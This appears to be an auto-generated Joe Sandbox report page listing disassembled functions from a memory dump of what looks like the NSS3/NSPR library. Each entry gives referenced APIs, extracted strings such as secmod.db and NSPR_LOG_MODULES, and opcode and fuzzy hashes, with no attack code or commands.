Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C699840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98682cb83d774ffa13fab2f631d8192623d7f36b5e669a96a5db686cea988616
Instruction ID: ddd3d67ee25954a10a6d2ae7425faff83877079d7761f95b12953a784fa9b239
Opcode Fuzzy Hash: 98682cb83d774ffa13fab2f631d8192623d7f36b5e669a96a5db686cea988616
Instruction Fuzzy Hash:

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

secmod.db, xrefs: 6C6B5EA0
noModDB, xrefs: 6C6B5EEA
forceSecmodChoice, xrefs: 6C6B5F55
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053
%s/%s, xrefs: 6C6B6055
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
configDir=, xrefs: 6C6B5F9D
readOnly, xrefs: 6C6B5E56
secmod=, xrefs: 6C6B5FB1

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

sync, xrefs: 6C641E46
timestamp, xrefs: 6C641EC4
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
Unable to create nspr log file '%s', xrefs: 6C641FB3
, %n, xrefs: 6C641E6B
append, xrefs: 6C641EE6
bufsize, xrefs: 6C641E9B
NSPR_LOG_FILE, xrefs: 6C641F69
all, xrefs: 6C641F0E
NSPR_LOG_MODULES, xrefs: 6C641DAD

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
